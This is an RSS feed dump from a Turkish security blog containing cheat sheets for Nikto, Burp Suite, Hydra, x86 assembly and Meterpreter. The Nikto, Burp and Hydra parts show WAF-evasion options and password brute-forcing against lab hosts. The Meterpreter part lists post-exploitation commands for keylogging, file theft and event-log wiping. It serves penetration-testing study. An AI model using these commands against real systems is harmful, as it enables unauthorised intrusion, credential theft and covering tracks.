Cheat Sheet arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:49:54 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png Cheat Sheet arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Nikto & Nikto CheatSheet https://canyoupwn.me/tr-nikto/ https://canyoupwn.me/tr-nikto/#respond Fri, 06 May 2016 06:30:18 +0000 https://canyoupwn.me/?p=2038 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda web sitesi üzerindeki zaafiyetleri tarayan açık kaynaklı bir araç olan Nikto’yu incelemeye alacağım. Nikto XSS,CSRF,LFI,SQLi gibi güvenlik zaafiyetlerini ve içerisinde işimize yarayacak bilgiler barındıran dizinleri bulmamızı sağlar. Perl ile yazılmış bir tool olup boyutu oldukça düşük, kullanımı oldukça kolaydır. İlk olarak niktoyu github üzerinden indirelim. İndirdiğimiz dizine geçip aracımızı çalıştırılabilir hale getirelim. (Şart […]

TR | Nikto & Nikto CheatSheet CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda web sitesi üzerindeki zaafiyetleri tarayan açık kaynaklı bir araç olan Nikto’yu incelemeye alacağım. Nikto XSS,CSRF,LFI,SQLi gibi güvenlik zaafiyetlerini ve içerisinde işimize yarayacak bilgiler barındıran dizinleri bulmamızı sağlar. Perl ile yazılmış bir tool olup boyutu oldukça düşük, kullanımı oldukça kolaydır.

  • İlk olarak niktoyu github üzerinden indirelim.
download git & nikto

download git & nikto

  • İndirdiğimiz dizine geçip aracımızı çalıştırılabilir hale getirelim. (Şart değil , perl nikto.pl -h <url> -p <port> -<secenekler> şeklinde de kullanabilirsiniz.)
executable nikto

executable nikto

Şu an aracımız gayet basit bir şekilde kullanıma uygun hale geldi. İlk olarak basit bir şekilde hedefimize küçük bir test yapalım.

nikto basic scanning

nikto basic scanning

Aracımız bizim adımıza siteyi kurcaladı ve bize bu bilgileri sundu. Bu yüzeysel bir taramaydı. Şimdi niktonun barındırdığı ilave seçenekleri inceleyelim.

Nikto Cheat Sheet

Display Options(Görüntüleme Seçenekleri)

Kullanımı :

./nikto.pl -h <host> -display <opt>

1 – Show Redirects : Eğer site üzerinde yönlendirme varsa, yönlendirmenin olduğu adresi sonuca bastırır.

2 – Show Cookies Received : Siteden cookie çalması durumunda çalınan cookieleri sonuca bastırır.

3 – Show all 200/OK messages : Brute-force yaptığı sayfalarda 200 dönen yani dizinde ulaşılabilen bir sayfa varsa bu sayfaları arama sonucunda gösteren seçenektir.

4 – Shows URLs which require authentication : Kullanıcıdan kullanıcı adı/şifre istenen URL adresleri gösterir.

D – Debug output : Çıktıyı debug ederek gösterir.

E – Display HTTP Errors : Arama sonucunda oluşacak HTTP hatalarını sonuca bastırır.

P – Print progress to STDOUT : İşlemi stdout’a yazdırır.

S – Scrub outputs of IP’s and Hostnames : Site üzerindeki ip ve host adreslerini ayıklayarak çıktıyı gösterir.

 

Evasion Options(Kaçış Seçenekleri)

Kullanımı :

./nikto.pl -h <host> -evasion <opt> veya ./nikto.pl -h <host> -e <opt>

1 – Random URI Encoding(non UTF-8) : UTF8 yerine rastgele char kullanarak WAF’lardan kaçışı sağlar.

2 – Directory self-reference(/./) : Dizini yaptığı taramada kendini /./ şeklinde hedef göstererek WAF’lardan kaçışı sağlar.

3 –  Premature URL Ending : ?

4 – Prepend long random string : Yolladığı requeste çok karakterli rastgele string oluşturarak WAF’lardan kaçışı sağlar.

5 – Fake Parameter : Kaçış için sahte bir parametre kullanır.

6 – TAB as a request spacer : Requestte kullanılacak olan boşluk karakteri yerine TAB karakteri kullanır.

7 – Change the case of URL : ?

A – Use a carriage return (0x0d) as a request spacer : Kaçış için 0x0d karakteri kullanır.

B – Use a binary value(0x0b) as a request spacer : Kaçış için 0x0b karakteri kullanır.

 

Output-file Format(Kaydetme Seçeneği)

Kullanımı :

./nikto.pl -h <host> -o -format <opt>

-o seçeneği çıktıyı kaydetmemizi sağlar.

csv : .CSV uzantısıyla kaydeder.

htm : HTML formatında kaydeder.

msf+ : metasploit logu olarak kaydeder.

nbe : Nessus NBE formatında kaydeder.

xml : XML formatında kaydeder.

 

Tuning Options(Zaafiyete Özel Tarama Seçeneği)

Kullanımı :

./nikto.pl -h <host> -Tuning <opt> veya ./nikto.pl -h <host> -T <opt>

1 – Interesting File / Seen in logs : İçerisinde işe yarayacak bilgiler bulundurma potansiyeli yüksek sayfalara özelik tarama yapar.

2 – Misconfiguration / Default File : Yanlış yapılandırılmış veya dizini değiştirilmemiş önemli dosyaları aramaya yönelik tarama yapar.

3 – Information Disclosure : Host ile ilgili bize bilgi verebilecek olan sayfalara/dosyalara yönelik tarama yapar. Örneğin: phpinfo

4 – Injection(XSS/Script/HTML) : Hedefi XSS veya HTML Injection açıklarına yönelik tarar.

5 – Remote File Retrieval – Inside Web Root Denial of Service : ?

6 – Denial of Service : DOS saldırısına yönelik tarama yapar.

7 – Remote File Retrieval – Server Wide : Server genelinde Remote File Retrieval yapar.

8 – Command Execution / Remote Shell : Hedef üzerinde komut çalıştırılıp çalıştırılmadığını arayan parametredir.

9 – SQL Injection : Host üzerinde SQL injection bulunup bulunmadığını arayan parametredir.

0 – File Upload – Hedef üzerindeki bir dizine dosya upload edilip edilmediğini araştırır.

a – Authentication Bypass : kullanıcı_adı/şifre istenilen yeri bypasslamaya çalışır.

x – Tuning options altında belirtilen bütün parametreleri aramaya dahil eder.

 

Mutate Options(Brute-Force Seçeneği)

Kullanımı :

./nikto.pl -h <host> -mutate <opt>

1 – Bütün dosyaları üst dizinleriyle birlikte test eder.

2 – Şifrelerin bulunduğu dosyaların isimlerini tahmin etmeye çalışır.

3 – Apache ile kullanıcı isimlerini tahmin eder.

4 – cgiwrap ile kullanıcı isimlerini tahmin eder.

5 – Subdomain isimlerine brute-force yapıp olup olmadıklarına bakar. (hostun ana domain olduğunu baz alır.)

6 – Verilen kelime dosyasıyla, kelime dosyasında bulunan kelimelerin alt dizinler olup olmadığına bakar. (bkz. ./nikto.pl -h <host> -mutate <opt> {<dictionary.txt>} )

 

Diğer Parametreler

– proxy : belirtilen proxy’yi kullanır.

-maxtime : host başına belirtilen maksimum test zamanını değiştirir.

-until : belirtilen süreye kadar taramaya devam eder. (Tarama biterse daha erken de bitebilir)

-nossl : SSL ile iletişime girmeden tarar.

-ssl : Zorunlu bir şekilde SSL kullanarak tarar.

-no404 : 404 Not Found dönecek sayfaları tahmin etmeyi önler.

-id : hedefimizin authentication istediğini biliyorsak ve elimizde authentication yapacak kullanıcı_adı ve şifre varsa -id syra:canyoupwnme(kullanıcı_adı:şifre) şeklinde giriş yapmamız için kullanılan parametredir.

-version : Nikto versiyonunu gösterir.

-help : Yardım komutu.

 

Yazımız burada sonlanıyor. Bir sonraki yazıda görüşmek üzere!

TR | Nikto & Nikto CheatSheet CanYouPwnMe

]]>
https://canyoupwn.me/tr-nikto/feed/ 0
TR | Burp Suite Cheat Sheet https://canyoupwn.me/tr-burp-suite-cheat-sheet/ https://canyoupwn.me/tr-burp-suite-cheat-sheet/#respond Thu, 07 Apr 2016 09:23:21 +0000 https://canyoupwn.me/?p=1553 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Burp Suite sızma testlerinde kullanılan bir web proxy uygulamasıdır. Barındırdığı bir çok özellik ile web uygulama güvenliği testlerinde çok popüler uygulamalardandır. Buradan indirebilirsiniz. Web sitesi işlemleri sunucu-istemci mimarisini kullanmaktayız. Bir web sitesini incelerken giden ve gelen paketleri inceleriz. Sağlık bir şekilde bu incelemeyi yapabilmemiz için sunucu ile istemci arasına girmemiz gerekiyor. Burp Suite tam dabu […]

TR | Burp Suite Cheat Sheet Sinan Şahin

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Burp Suite sızma testlerinde kullanılan bir web proxy uygulamasıdır. Barındırdığı bir çok özellik ile web uygulama güvenliği testlerinde çok popüler uygulamalardandır. Buradan indirebilirsiniz. Web sitesi işlemleri sunucu-istemci mimarisini kullanmaktayız. Bir web sitesini incelerken giden ve gelen paketleri inceleriz. Sağlık bir şekilde bu incelemeyi yapabilmemiz için sunucu ile istemci arasına girmemiz gerekiyor. Burp Suite tam dabu işi yapıyor. Burp Suite’yi kullanabilemeniz için aşağıda gösterildiği gibi tarayıcı ayarlarınızdan proxy kısmını 127.0.0.1:8080 adresine yönlendirmelisiniz.

proxy

Tarayıcıyı ayarladıktan sonra Burp Suite ekranında Proxy sekmesi altında bulunan Options sekmesinde aktif olan dinleyiciler listelenir.

2016-04-06 22_46_55 ekran görüntüsü

Burada eğer yoksa Add butonuna tıklayıp yeni bir dinleyici eklemelisiniz. Eğer varsa aşağıda görüldüğü gibi seçili dinleyici de Edit butonuna tıklayarak bu dinleyiciyi düzenleyebilirsiniz.

aa

Bu işlemleri gerçekleştirdikten sonra ilk araya girme işlemimizi yapalım. Tarayıcıyı açıp herhangi bir sayfanın adresini yazıp enterlayın. Biz aşağıda görüldüğü gibi sinansahin.net.tr adresine istek gerçekleştiriyoruz.

2016-04-07 09_15_39 ekran görüntüsü

Burp Suite ekranını açtığımız da yaptığımız isteğin bilgilerini görebiliriz. Bu ekran da bulunan Forward butonu isteği isteği geçir devam ettir işlevini gerçekleştirir. Bu butona bastığımız da tarayıcıdan yapılan istek bizden çıkar istek sahibine gider. Drop butonu ise bu istek paketini öldür anlamına gelir. Bu botuna bastığımızda istek paketi aradaki kontroller olan biz yani Burp Suite tarafından öldürür. Forward edip response değerine bakalım. Aşağıda görüldüğü gibi tarayıcıya dönen cevabı görebiliriz. Bu response değeri bize server bilgisi oturum durumların cookie bilgisi ve birçok önemli veriye ulaşmamızı sağlar.

2016-04-07 09_16_27 ekran görüntüsü

Intruder Kullanımı

Burp Suite özelliklerinden biri olan Intruder bir sayfaya istek gönderirken gönderilen değerleri bir değişkene atayıp bu değerleri bir sözlük kullanarak istek sayısını artırıp dönen değerleri görmemizi sağlar. Kısaca Intruder bir login sayfasında bulunan username ve password alanlarına önceden üretilmiş değerleri tek tek deneyip dönen cevapları listeler. Bu özelliği kullanmak için Dwva uygulamasının login sayfasına istek atıyoruz. Aşağıda görüldüğü gibi forma girdiğimiz username ve password değerleri istek paketimizde gözüküyor.

2016-04-07 08_36_49 ekran görüntüsü

Action botununa tıkladığımızda açılan listeden Send to Intruder’e tıklıyoruz. Intruder sekmesinde peketimiz gözükmektedir artık.

2016-04-07 08_39_01 ekran görüntüsü

Değişken olarak username ve password için önce yan tarafta bulunan Clear butonuna tıklamalısınız. Daha sonra Add botununa tıklayıp username ve password değerlerini seçiniz. Attack Type olarak Cluster bomb seçeneğini seçiniz. Payloads sekmesine geçip burada bu alanlar için ürettiğiniz değerleri girmelisiniz. 2016-04-07 08_40_18 ekran görüntüsüPayload set değerleri değişken sayısınıza göre belirlemelisiniz. Her bir payload için options bölümünden değerler girmelisiniz. Daha sonra üst menü de Intruder altında bulunan Start Attack seçeneğine tıklamanız gerekmektedir. Artık tüm girdiğiniz değerler, seçtiğiniz değişkenlere yerleştirilip istek yapılacak ve response değerleri dönecektir.

2016-04-07 08_45_43 ekran görüntüsü

Lenght değeri dönen verinin boyutunu belirtir. Atağınızda bir doğru username ve password ikilisi var kabul edersek sadece o isteğin boyutunu farklı olacaktır. Yaptığınız atak listesinde farklı olan değerler sizi doğru sonuca götürür.

 

TR | Burp Suite Cheat Sheet Sinan Şahin

]]>
https://canyoupwn.me/tr-burp-suite-cheat-sheet/feed/ 0
TR | Hydra Cheat Sheet https://canyoupwn.me/hydra-cheat-sheet/ https://canyoupwn.me/hydra-cheat-sheet/#respond Mon, 04 Apr 2016 12:00:45 +0000 https://canyoupwn.me/?p=1403 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Hydrayı kısaca tanımlayacak olursak bruteforce yapan bir şifre kırma aracıdır. Oldukça çok tercih edilmektedir. Bunun sebebi bir çok protokolü (Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, […]

TR | Hydra Cheat Sheet CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Hydrayı kısaca tanımlayacak olursak bruteforce yapan bir şifre kırma aracıdır. Oldukça çok tercih edilmektedir. Bunun sebebi bir çok protokolü (Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. ) desteklemesidir. Sözlük saldırısı yaparken kullanılır.

GUI arayüzü olmasına rağmen çoğunlukla terminalden kullanılır. Bunun nedeni ise daha stabil çalışmasıdır.

GUI görünümü

Hydra'nın Gui Görüntüsü

Windows, OS/X ve tüm Unix sistemlerde çalışmaktadır.

Terminalde genel kullanımı ise;

hydra [some command line options] PROTOCOL://TARGET:PORT/OPTIONS

şeklindedir. Daha detaylı syntax ise;

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]][-w TIME] [-f] [-s PORT] [-S] [-vV]server service [OPT]

 

şeklindedir.

Hydra’nın parametrelerinden bahsedelim.

  • -l   Bu parametreden sonra kullanıcı adını elle girmemiz gerekir.
    hydra -l cypm
  •  Bu parametre ile kullanıcı adlarının olduğu dosyanın yolunu göstererek kullanıcı adı girişini sağlarız.
    hydra -L /home/Desktop
  •  Adım adım denenen her şifreyi ve aldığınız cevabın terminalden kaymasını sağlar.
    hydra -V
  •  Parola bulunduktan sonra atak yapmayı bırakır ve size parolanın ne olduğunu gösterir.
    hydra -f
  •  Bu parametre ile parolalarımızın bulunduğu (sözlük saldırısı için) dosyanın yolunu gösteririz.
    hydra -P /home/Desktop/passlist.txt
  •   Aynı anda çalıştırabileceği bağlantı sayısını veriyoruz.(5 örnektir)
    hydra -t 5
  •   Bu parametreyi yazdığımızda en_az_karater_uzunluğu:en_fazla_karakter_uzunluğu:charset(5:5:ISO-8859-8 örnektir)
    hydra -x 5:5:ISO-8859-&lt;wbr /&gt;8

Şeklinde yazmamız gerekiyor. Yani ilk yere en az kaç karakter olması gerektiği, ikinciye en fazla ne kadar olabileceği, üçüncüye ise parolada nelerin olabileceği yazılır. Üçüncüyü şöyle anlatalım özel karakterlerden birimi olacak */-+%&] sayı mı olacak 1232435 gibi yoksa harf mi olacak bunu yazıyoruz. Bu parametreyi yazdıktan sonra kendisi otomatik olarak parolaları deniyor.

  •   Parametresini kullanarak aynı anda hem kullanıcı adı hemde parola girebiliriz. Bunu yapabilmemiz için sözlüğümüzde kullanıcı adı ve parolalar kolon halinde yani kullanici_adi:sifre şeklinde kaydedilmiş olmalılar.
    hydra -C kullanici_adi:sifre
  •   Parametresinin kullanımı diğerlerinden biraz daha farklı. Örneğin boş parola olan bir ftp sunucusuna saldırırken –e parametresini kullanırız ve e parametresinin arkasına da s,n,r girişlerinde bulunuruz. Bunların ne işe yaradığını yazalım. S yazarsak parola ile giriş yap, N yazarsak boş parola ile giriş yap, r parola ile kullanıcı adını yer değiştirerek giriş yap demiş oluruz.
    hydra -e
  •  Servis normalde olandan farklı bir port kullanıyorsa bu parametrenin arkasına portu yazabiliriz.
    hydra -s 80
  •   Eğer ki IPv6 kullanılıyorsa -6 ekledikten sonra köşeli parantezin için ip eklememiz gerekir.
    hydra -6 [2a01:24a:133:0:00:123:ff:1a]
  •   Bir önceki oturumu geri yükler.
    hydra -R
  •   Parametresi ile elimize xml txt gibi bir çıktı alabiliriz.
    hydra -o
  •   Dönen cevabı bekleme süresi. Saniye cinsinden.
    hydra -w

Şimdi örneklere geçelim.

pass.txt ile

Burada

hydra –l root –V –P pass.txt ssh://192.168.245.137

komutunu verdik. Sırayla neler olduklarından bahsedelim.

  • -l parametresi ile kullanıcı adımızı giriyoruz.
  • -V parametresi ile yapılan işlemleri görmemizi sağlıyoruz.

-P pass.txt dosyamızı verdik. İçinde parolalar bulunuyor.

Ssh ile kırmak istediğimiz bağlantıyı vermiş oluyoruz.

192.168.245.137 ile de bağlanacağımız yeri belirtiyoruz.

Bu işlemler bitince bize root kullanıcı adımızın parolasının 1234 olduğunu gösteriyor.

dosyaya yazarak

Hydra –l msfadmin –o ~/ilk.xml –P pass.txt a href="ftp://192.168.245.137" ftp://192.168.245.137

 

Bu komutu açıklayalım.

  • -l ile tekrar kullanıcı adımızı belirttik. Bunun yerine bir txt içine msfadmin yazıp koyabilirdik ve –L parametresini kullanarak kullanici_adi.txt diye kaydedip gösterebilirdik.
  • -o parametresi ile yapılan işlemleri xml olarak kaydediyoruz.
  • -P parolalarımızın bulunduğu txt yi gösteriyoruz.

ftp ile bağlantımızı seçiyoruz.

192.168.245.137 ile bağlanacağımız adresi gösteriyoruz.

-x parametresi ile

Hydra –l root –V –x 1:4:1 ssh://192.168.245.137
  • -l ile kullanıcı adımızı verdik.
  • -V ile yapılan işlemleri görelim.
  • -x kullanarak kendisine bruteforce yaptırıyoruz. Değişkenleri açıklayalım 1:4:1 syntaxında belirttiğimiz şey parola 1 ile 4 karakter arasında olacak ve sayı olacak. Burada bunu belirtmiş oluyoruz.

Ssh bağlantı tipimizi tekrar seçmiş olduk.

192.168.245.137 ile bağlanacağımız hostu seçtik.

Not: Burada –f parametresini eklemeyi unutmuşum. İşlem bu şekilde çok uzun sürüyor.

Not: İşlem sanal makineden yapıldığı için uzun sürüyor, birkaç tane yaptıktan sonra komutu durdurdum.

e parametresi

 

Hydra –e s –L pass.txt ssh://192.168.245.137
  • -e ile farklı bir giriş deneyeceğimizi gösterdik ve s parametresini kullanarak parola denemesini söylüyoruz.
  • -L ile kullanıcı adını pass.txt den çekiyor.

herşey var

Burada ek olarak –f parametresini kullandık ve parolayı bulduğu anda işlem yapmayı bıraktı.

TR | Hydra Cheat Sheet CanYouPwnMe

]]>
https://canyoupwn.me/hydra-cheat-sheet/feed/ 0
TR | x86 Assembly Cheat Sheet https://canyoupwn.me/tr-x86-assembly-cheat-sheet/ https://canyoupwn.me/tr-x86-assembly-cheat-sheet/#comments Fri, 18 Mar 2016 13:01:10 +0000 https://canyoupwn.me/?p=1119 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

“There’s way too much information to decode the Matrix. You get used to it, though. Your brain does the translating. I don’t even see the code. All I see is blonde, brunette, redhead.” – Cypher Matrix filminde geçen bu söz bana göre tersine mühendisliğin temelinde yatan mantığı anlatır. RE’in bir ayağı assembly ve OS mimarisini […]

TR | x86 Assembly Cheat Sheet CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

cypher-matrix-caption

A scene from matrix

“There’s way too much information to decode the Matrix. You get used to it, though. Your brain does the translating. I don’t even see the code. All I see is blonde, brunette, redhead.” – Cypher

Matrix filminde geçen bu söz bana göre tersine mühendisliğin temelinde yatan mantığı anlatır. RE’in bir ayağı assembly ve OS mimarisini bilmek ise diğer ayağı da disassemble edilmiş bir koddaki pattern’ları görüp bunları programlama dillerindeki soyut yapılarla bağdaştırabilmektir. Bu amaçla Linux/x86 mimarisindeki uygulamalarda karşılaştığım birkaç yapıyı sizlerle paylaşma gereği duydum.

Fonksiyon Argümanları

/* ------------------------------------------------------------------ */
// argN = [ebp+0x8 + 0x4*(N-1)]
function(
.    arg1    // [ebp+0x8]
.    arg2    // [ebp+0xc]
.    arg3    // [ebp+0x10]
)
/* ------------------------------------------------------------------ */

 

Fonksiyon Çağırma

/* ------------------------------------------------------------------ */
func(arg1, arg2, arg3);        // push arg3
.                              // push arg2
.                              // push arg1
.                              // call func
/* ------------------------------------------------------------------ */

 

Fonksiyon Return

/* ------------------------------------------------------------------ */
return val;            // mov eax, val
.                      // leave
.                      // ret
/* ------------------------------------------------------------------ */

 

If – Else

/* ------------------------------------------------------------------ */
if (a == b)               // mov eax, DWORD PTR [ebp-0xc]
.    /* if stuff */       // cmp eax, DWORD PTR [ebp-0x10]
else                      // jne addr
.    /* else stuff */         // /* if stuff */
.                             // ...
.                         //  <addr >:
.                             // /* else stuff */
/* ------------------------------------------------------------------ */

 

Döngüler

/* ------------------------------------------------------------------ */
for (int i=0; i <=15; i++)   // mov DWORD PTR [ebp-0xc], 0x0
.    /* do stuff */          // jmp addr2
.
.                            //  <addr1 >:
.                                //    /* do stuff */
.                                //    ...
.                                //    add DWORD PTR [ebp-0xc], 0x1

.                            //  <addr2 >:
.                                 //     mov ecx, DWORD PTR [ebp-0xc]
.                                 //     cmp ecx, 0xf
.                                 //     jle addr1
/* ------------------------------------------------------------------ */

 

Dizi Elemanlarına Erişim

/* ------------------------------------------------------------------ */
// arr[N] = [addr + sizeof(type)*N]
char arr[10];            // mov eax, DWORD PTR [ebp-0xc]
if (arr[4] == 'c')       // add eax, 0x4
.                        // movzx eax, BYTE PTR [eax]
.                        // movsx eax, al
.                        // cmp eax, 0x63
/* ------------------------------------------------------------------ */

 

Değer Atama

/* ------------------------------------------------------------------ */
int a = 0;            // mov DWORD PTR [ebp-0xc], 0x0
a++;                  // mov eax, DWORD PTR [ebp-0xc]
.                     // inc eax
.                     // mov DWORD PTR [ebp-0xc], eax
/* ------------------------------------------------------------------ */

 

Örnek Fonksiyon

/* ------------------------------------------------------------------ */
int myfunction( int arg1,            // [ebp+0x8]
.        char * arg2                 // [ebp+0xc]
){

.    int a = 0;                      // mov DWORD PTR [ebp-0xc], 0x0
.    int len = strlen(arg2);         // push DWORD PTR [ebp+0xc]
.                                    // call  <strlen >
.                                    // mov DWORD PTR [ebp-0x14], eax ; strlen'den dönen değeri len değişkenine at
.
.    for(int i=0; i <=len; i++) {    // mov DWORD PTR[ebp-0x10], 0x0
.                                    // jmp addr2

.                                    //  <addr1 >:
.        if (arg2[i] == arg1) {          //     mov eax, DWORD PTR [ebp+0xc]
.                                        //     mov edx, DWORD PTR [ebp-0x10]
.                                        //     add eax, edx
.                                        //     movzx eax, BYTE PTR [eax]
.                                        //     movsx eax, al
.                                        //     cmp eax, DWORD PTR [ebp+0x8]
.                                        //     jne addr2

.            a++;   }                 // add DWORD PTR [ebp-0xc], 0x1
.    }                                // add DWORD PTR [ebp-0x10], 0x1

.                                     //  <addr2 >:
.                                         //     mov eax, DWORD PTR [ebp-0x10]
.                                         //     cmp eax, [ebp-0x14]
.                                         //     jne addr1

.    return a;                        // mov eax, DWORD PTR [ebp-0xc]
.                                     // leave
}                                     // ret

/* ------------------------------------------------------------------ */

TR | x86 Assembly Cheat Sheet CanYouPwnMe

]]>
https://canyoupwn.me/tr-x86-assembly-cheat-sheet/feed/ 1
TR | Meterpreter Cheat Sheet https://canyoupwn.me/tr-meterpreter-basit-komutlar/ https://canyoupwn.me/tr-meterpreter-basit-komutlar/#respond Fri, 12 Feb 2016 08:00:47 +0000 http://canyoupwn.me/?p=367 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Meterpreter Nedir ? Meterpreter metasploit ile exploit ettiğiniz bir açık ile terminal’e ulaştığınızda size bir terminal ekranı verir.( SSH’a benzetebilirsiniz. ) Bu meterpreter terminali ile bir çok işlem yapabilirsiniz.Aşağıda görüceğiniz gibi kurbanın sisteminde ( victim ) keylogger başlatabilirsiniz veya özel izinlere sahip kullanıcılar oluşturabilirsiniz.Meterpreter ile yapabiliceklerinizin bir sınırı yok gibi birşeydir.Linux bash terminale benzer ( […]

TR | Meterpreter Cheat Sheet Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Meterpreter Nedir ?
Meterpreter metasploit ile exploit ettiğiniz bir açık ile terminal’e ulaştığınızda size bir terminal ekranı verir.( SSH’a benzetebilirsiniz. ) Bu meterpreter terminali ile bir çok işlem yapabilirsiniz.Aşağıda görüceğiniz gibi kurbanın sisteminde ( victim ) keylogger başlatabilirsiniz veya özel izinlere sahip kullanıcılar oluşturabilirsiniz.Meterpreter ile yapabiliceklerinizin bir sınırı yok gibi birşeydir.Linux bash terminale benzer ( komutlar vs. ).

Not:Aşağıda ki komutlarda sadece belli başlı komutlara örnek verildi.Genel işleyiş yine aynı şekildedir.

mtrprtr
Meterpreter Komutları :
Meterpreter’i kullanmak basittir.Aynı linux terminaline benzetebilirsiniz.Tek farkla bu terminal kurban kişide çalışmaktadır ve tabi ki bunu göremez.
Meterpreterde kullanılan komutların çoğu bash komutlarına benzer.Yine’de şöyle bir göz gezdirelim.
Meterpreter de kullanılan komutlar:
? – Yardım menüsü zaten buradan okuyarak da ilerleyebilirsiniz.
bgkill = Arkaplanda ki meterpreter komutlarını sonlandırır.
bglist = Arkaplanda çalışan meterpreter komutlarını listeler.
bgrun = Arkaplanda komut çalıştırmanızı sağlar.
channel = Aktif olarak bağlandığınız kanalları gösterir.
close = Kanalları kapatır.
exit & quit = Meterpreter sesssionı sonlandırır.
interact = kanallar ile etkileşime girer.
irb = Ruby script modunu açar.
read = Kanallarda ki dataları okur
run = Yazdığınız bir meterpreter scriptini çalıştırır.
use = Meterpreter eklentilerini load eder ( yükler )
write = Kanallara data yazar.
cat = Bash’de ki kullanımıyla aynıdır.Dosyayı okur ve ekrana basar.
cd = Bulunduğunuz konumu değiştirir. C:/windows C:/ vb.
del = Kurbanın dosya sisteminden dosya siler.
download = Kurbanın sisteminden kendi sisteminize dosya indirir.

download c:\\hesaplar.txt
### Burda çift slash kullanmamızın nedeni windows sistemlerde aslında bu şekilde olmasından kaynaklıdır.

edit = dosya editlemenize yarar. ( Vim’i açar )

edit editabletext.txt 

getlwd = Sistemin ana klasörünü gösterir. C:/Windows veya Linux / dizini gibi.
getwd = Şuan bulunduğunuz konumu,klasörü gösterir.
lcd = Sistemin ana klasörünü değiştirmenizi sağlar.
ls = Bulunduğunuz klasörün içinde ki dosyaları ve klasörleri görüntüler.
rm = Dosya silme işlemi yapar.

rm editable.txt 

rmdir = Klasör silme işlemi yapar

rmdir Windows// 

upload = Kurbana bir dosya göndermenize yarar.

 upload keyloggerimiz.exe C://Windows//System32 

ipconfig = Ağ aygıtlarını ve bununla birlikte IP vs. gösterir.
portfwd = Kurban dan port yönlendirmesi yapabilirsiniz.
route = Kurbanın yönlendirme tablosunu değiştirebilir ve görüntüleyebilirsiniz.
clearev = Kurbanın sistem günlüklerini temizlersiniz.

[*] Wiping 33 records from Application...
[*] Wiping 555 records from System...
[*] Wiping 38 records from Security...

execute = Komut çalıştırmak için kullanılır.
ps = Çalışan prosessleri görüntüleyebilirsiniz.
kill = Prosess id ile çalışan uygulamaları kapatabilirsiniz.
reboot = Kurbanın sistemine restart atar.
rev2self = Kurbanın sisteminde RevertToSelf()’i çalıştırır.
shell = Kurbanın bilgisayarında terminali açarsınız.
shutdown = Kurbanın sistemini kapatırsınız.
sysinfo = Kurbanın sistemi hakkında detaylı bilgi alırsınız.
enumdesktops = Ulaşılabilir tüm masaüstlerini görüntüler.
getdesktop = Kullandığınız meterpreter’de ki mevcut masaüstünü getirir. ( O an hangi kurban ile uğraşıyorsanız. )
screenshot = Kurbanın ekran görüntüsünü alırsınız.
uictl = Bazı kullanıcı arayüzü eklentilerini aktif hale getirirsiniz.( RDP vs)
keyscan_start = Uzakta ki hedefin,kurbanın tuşa bastıklarını kaydetmek için başlatılır.Keylogger gibi.
keyscan_dump = Uzakta ki hedefin,kurbanın tuş dökümlerini almanızı sağlar.
keyscan_stop = Keyscan modülünü deaktif eder.
getprivs = Kurbanın sisteminde bazı özel ayrıcalıkları alırsınız.
use sniffer = Sniffer modülünü load eder.
sniffer_interfaces = Kurbanın sisteminde ki uygun( sniff edilebilicek ) arayüzleri gösterir.
sniffer_dump arayüzID pcapname = Uzak hedefi sniff etme işlemini başlatır.
sniffer_start arayüzID packet-buffer = Sniffer’ı başlatır fakat sizin istediğiniz özel buffer aralıklarında.
sniffer_stats arayüzID = Sniff edilen ağa ait istatiksel bilgileri gösterir.
sniffer_stop arayüzID = Belli bir arayüzde başlatılan sniffer’ı durdurur.

TR | Meterpreter Cheat Sheet Enes ERGÜN

]]>
https://canyoupwn.me/tr-meterpreter-basit-komutlar/feed/ 0
